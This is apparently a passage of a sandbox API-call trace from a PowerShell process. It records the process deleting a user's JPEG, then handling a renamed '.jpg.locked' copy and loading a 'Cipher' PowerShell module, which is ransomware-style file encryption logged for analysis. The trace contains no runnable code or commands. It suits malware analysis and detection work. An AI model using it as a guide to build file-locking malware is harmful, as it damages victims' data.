(pv=0x8eb8d30) [0137.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg")) returned 0x20 [0137.388] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.388] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.388] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg"), fInfoLevelId=0x0, lpFileInformation=0x6abb1e8 | out: lpFileInformation=0x6abb1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c7c3a0, ftCreationTime.dwHighDateTime=0x1d4ac60, ftLastAccessTime.dwLowDateTime=0xc3726d90, ftLastAccessTime.dwHighDateTime=0x1d4a7c1, ftLastWriteTime.dwLowDateTime=0xc3726d90, ftLastWriteTime.dwHighDateTime=0x1d4a7c1, nFileSizeHigh=0x0, nFileSizeLow=0x14a0b)) returned 1 [0137.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.389] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg")) returned 1 [0137.391] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.391] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.391] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.391] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.391] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.392] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg.locked")) returned 0x20 [0137.393] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg.locked")) returned 0x20 [0137.393] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", lpFilePart=0x0) returned 0x35 [0137.393] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", lpFilePart=0x0) returned 0x35 [0137.394] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.394] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg", lpFilePart=0x0) returned 0x2e [0137.394] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.394] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.394] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.394] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.396] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.396] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.396] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.398] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.398] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.398] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.398] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.398] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.400] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.400] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.400] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.400] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.400] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.402] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.402] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.402] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.402] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.402] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.404] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg.locked"), fInfoLevelId=0x0, lpFileInformation=0x6ac9598 | out: lpFileInformation=0x6ac9598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x151d8f71, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x151d8f71, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x151d8f71, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x14a24)) returned 1 [0137.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.407] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked", lpFilePart=0x0) returned 0x35 [0137.407] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0137.407] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0137.408] CloseHandle (hObject=0x764) returned 1 [0137.411] GetConsoleOutputCP () returned 0x1b5 [0137.411] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.411] GetConsoleOutputCP () returned 0x1b5 [0137.411] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.411] GetConsoleOutputCP () returned 0x1b5 [0137.412] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.412] GetConsoleOutputCP () returned 0x1b5 [0137.412] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.412] GetConsoleOutputCP () returned 0x1b5 [0137.412] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.412] GetConsoleOutputCP () returned 0x1b5 [0137.413] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.413] GetConsoleOutputCP () returned 0x1b5 [0137.413] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.413] GetConsoleOutputCP () returned 0x1b5 [0137.413] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.413] GetConsoleOutputCP () returned 0x1b5 [0137.414] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.414] GetConsoleOutputCP () returned 0x1b5 [0137.414] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.414] GetConsoleOutputCP () returned 0x1b5 [0137.414] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.414] GetConsoleOutputCP () returned 0x1b5 [0137.415] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.415] GetConsoleOutputCP () returned 0x1b5 [0137.415] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.415] GetConsoleOutputCP () returned 0x1b5 [0137.415] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.415] GetConsoleOutputCP () returned 0x1b5 [0137.416] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.416] GetConsoleOutputCP () returned 0x1b5 [0137.416] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.416] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.417] GetConsoleOutputCP () returned 0x1b5 [0137.417] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.417] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.417] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6af0158*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6af0158*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.418] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.418] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.422] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.422] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.422] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.422] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.422] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.422] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.422] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.423] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.423] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.423] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.423] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 